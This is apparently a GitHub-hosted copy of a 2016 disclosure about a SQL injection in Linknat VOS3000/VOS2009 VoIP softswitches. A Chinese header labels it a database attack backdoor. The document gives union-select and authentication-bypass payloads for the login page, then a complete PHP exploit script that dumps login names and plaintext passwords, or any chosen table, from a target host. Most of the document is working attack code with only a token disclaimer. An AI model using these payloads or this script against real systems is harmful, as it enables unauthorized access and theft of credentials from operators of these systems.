-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathvos_sql_backdoor.txt
176 lines (153 loc) · 5.2 KB
/
vos_sql_backdoor.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
#文章摘自http://seclists.org/fulldisclosure/2016/May/57
#vos 2.15-2.20数据库攻击后门
A SQL injection was found in Linknat VOS3000/VOS2009, a popular VoIP
softswitch, that could allow remote attackers to gain access to the
credentials stored in plain-text.
Application: Linknat VOS3000/VOS2009
Versions Affected: 2.1.1.5, 2.1.1.8, 2.1.2.0
Vendor URL: http://www.linknat.com/
Bug: SQLi (with DBA privileges)
Type: Remote
Resolution: Fixed, upgrade to 2.1.2.4
Reference: WooYun-2015-145458 -
http://www.wooyun.org/bugs/wooyun-2010-0145458
The SQLi reported is time-based blind. Since it is not an in-band SQLi, the
results can be gathered from the output of welcome.jsp during the same
session.
(1st request)
POST http://target/eng/login.jsp
PARAM loginType=1
name=' union select 1,2,@@version,'hello',5,6#
pass=' OR ''='
(2nd request during the same session)
GET http://target/eng/welcome.jsp
RESULT 0|' union select
1,2,@@version,'hello',5,6#|1|5.0.51a-community|hello|0.00|0.00|
[ EXPLOIT CODE ]
<?php
#
# Linknat VOS2009/VOS3000 SQLi exploit
#
# DISCLAIMER: The exploit is to be used for educational purposes only
# The author would not be responsible for any misuse
#
# AUTHOR: Osama Khalid
# WEBSITE: http://www.codinghazard.com/
# DATE: 19/05/2016
# REF: http://www.wooyun.org/bugs/wooyun-2010-0145458
if ($argc < 2) {
banner();
usage();
exit;
}
$host = $argv[1];
$column_one = isset($argv[2]) ? $argv[2] : "loginname";
$column_two = isset($argv[3]) ? $argv[3] : "password";
$table = isset($argv[4]) ? $argv[4] : "e_user";
$other = isset($argv[5]) ? $argv[5] : "";
function banner() {
echo "########################################\n";
echo "# #\n";
echo "# Linknat VOS3000/VOS2009 SQLi exploit #\n";
echo "# #\n";
echo "# Osama Khalid #\n";
echo "########### codinghazard.com ###########\n";
}
function usage() {
echo "\n";
echo "php vos3000.php [HOST]\n";
echo "php vos3000.php 127.0.0.1\n";
echo "php vos3000.php [HOST] [COL1] [COL2] [TABLE] [OTHER SQL]\n";
echo "php vos3000.php 127.0.0.1 table_schema table_name
information_schema.tables \"where table_schema = 'mysql'\"
\n";
}
function curl($url, $post = array(), $cookies = null, $header = false) {
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($curl, CURLOPT_HEADER, $header);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
if ($cookies != null)
curl_setopt($curl, CURLOPT_COOKIE, $cookies);
if (count($post) > 0) {
foreach ( $post as $key => $value)
$post_items[] = $key . '=' . urlencode($value);
$post_string = implode('&', $post_items);
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS, $post_string);
}
$data = curl_exec($curl);
curl_close($curl);
return $data;
}
function query($host, $query) {
$data = curl("http://$host/eng/login.jsp";, array(
"loginType" => 1,
"name" => "' union " . $query . "#",
"pass" => "' OR ''='"
), null, true);
preg_match_all('|Set-Cookie: (.*);|U', $data, $matches);
$cookies = implode('; ', $matches[1]);
$data = curl("http://$host/eng/welcome.jsp";, array(), $cookies, false);
$parts = explode("|", trim($data));
if (count($parts) < 7)
return false;
return array($parts[3], $parts[4]);
}
function ascii_table($data) {
$keys = array_keys(end($data));
$wid = array_map('strlen', $keys);
foreach($data as $row) {
foreach(array_values($row) as $k => $v)
$wid[$k] = max($wid[$k], strlen($v));
}
foreach($wid as $k => $v) {
$fmt[$k] = "%-{$v}s";
$sep[$k] = str_repeat('-', $v);
}
$fmt = '| ' . implode(' | ', $fmt) . ' |';
$sep = '+-' . implode('-+-', $sep) . '-+';
$buf = array($sep, vsprintf($fmt, $keys), $sep);
foreach($data as $row) {
$buf[] = vsprintf($fmt, $row);
$buf[] = $sep;
}
return implode("\n", $buf);
}
banner();
echo "\n";
echo "Target: $host\n";
echo "Column #1: $column_one\n";
echo "Column #2: $column_two\n";
echo "Table: $table\n";
echo "Other: $other\n";
echo "\n";
$results = array();
$count_result = query($host, "SELECT 1,2,COUNT(*),4,5,6 FROM $table
$other");
if ($count_result) {
$count = intval($count_result[0]);
echo "Found $count rows...\n";
for ($i=0; $i<$count; $i++) {
$q = "SELECT 1,2,HEX($column_one),HEX($column_two),5,6 FROM $table
$other LIMIT " . $i . ",1";
$result = query($host, $q);
if ($result) {
echo "R" . ($i+1) . "]\t" . $column_one . " = " .
hex2bin($result[0]) . ", " . $column_two . " = " . hex2bin($result[1]) .
"\n";
} else {
echo "Error retrieving row " . ($i+1) . "\n";
}
$results[] = array($column_one => hex2bin($result[0]), $column_two
=> hex2bin($result[1]));
}
if (count($results) > 0) {
echo "\n\n" . ascii_table($results) . "\n";
}
} else {
echo "Error retrieving row count";
}
?>
-- Osama Khalid